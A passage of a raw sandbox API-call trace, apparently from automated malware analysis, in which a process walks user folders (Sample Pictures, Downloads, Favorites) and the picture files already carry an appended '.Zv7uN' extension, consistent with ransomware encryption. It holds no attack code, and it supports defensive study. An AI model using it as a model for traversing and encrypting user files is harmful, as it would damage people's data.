ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0124.927] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0124.927] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0124.927] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f39be40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0124.927] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0124.927] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0124.927] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5e2cc2e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Chrysanthemum.jpg.Zv7uN", cAlternateFileName="CHRYSA~1.ZV7")) returned 1 [0124.927] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0124.928] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0124.928] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5e579ba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Desert.jpg.Zv7uN", cAlternateFileName="")) returned 1 [0124.928] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0124.928] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0124.928] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.928] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5e6d0800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Hydrangeas.jpg.Zv7uN", cAlternateFileName="HYDRAN~1.ZV7")) returned 1 [0124.928] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0124.928] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0124.928] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5e931e00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Jellyfish.jpg.Zv7uN", cAlternateFileName="JELLYF~1.ZV7")) returned 1 [0124.928] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0124.928] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0124.928] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5ec9dda0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Koala.jpg.Zv7uN", cAlternateFileName="")) returned 1 [0124.928] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0124.928] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0124.928] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5eeff3a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Lighthouse.jpg.Zv7uN", cAlternateFileName="LIGHTH~1.ZV7")) returned 1 [0124.928] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0124.928] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0124.928] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f2451e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Penguins.jpg.Zv7uN", cAlternateFileName="")) returned 1 [0124.928] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0124.928] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0124.929] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Tulips.jpg.Zv7uN", cAlternateFileName="")) returned 1 [0124.929] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0124.929] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0124.929] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Tulips.jpg.Zv7uN", cAlternateFileName="")) returned 0 [0124.929] GetLastError () returned 0x12 [0124.929] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0124.929] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xba1113e9, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0124.929] GetLastError () returned 0x12 [0124.929] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0124.937] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x18f4f8, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0124.937] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads")) returned 0x11 [0125.059] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x18f4f8, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0125.059] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0125.059] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.059] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.059] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0125.059] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.060] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0125.060] GetLastError () returned 0x12 [0125.060] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0125.060] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0125.060] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0125.060] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.060] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.060] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.060] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.060] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.060] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0125.060] GetLastError () returned 0x12 [0125.060] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0125.060] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=6, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 1 [0125.064] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites")) returned 0x11 [0125.064] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=6, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 1 [0125.064] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0125.064] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0125.064] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.064] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0125.064] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.064] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName="Links", cAlternateFileName="")) returned 1 [0125.064] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0125.064] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0125.065] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0125.065] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0125.065] GetLastError () returned 0x12 [0125.065] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0125.065] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0125.065] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0125.065] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.065] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0125.065] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.065] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.065] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.065] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName="Links", cAlternateFileName="")) returned 1 [0125.066] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.066] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.066] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, 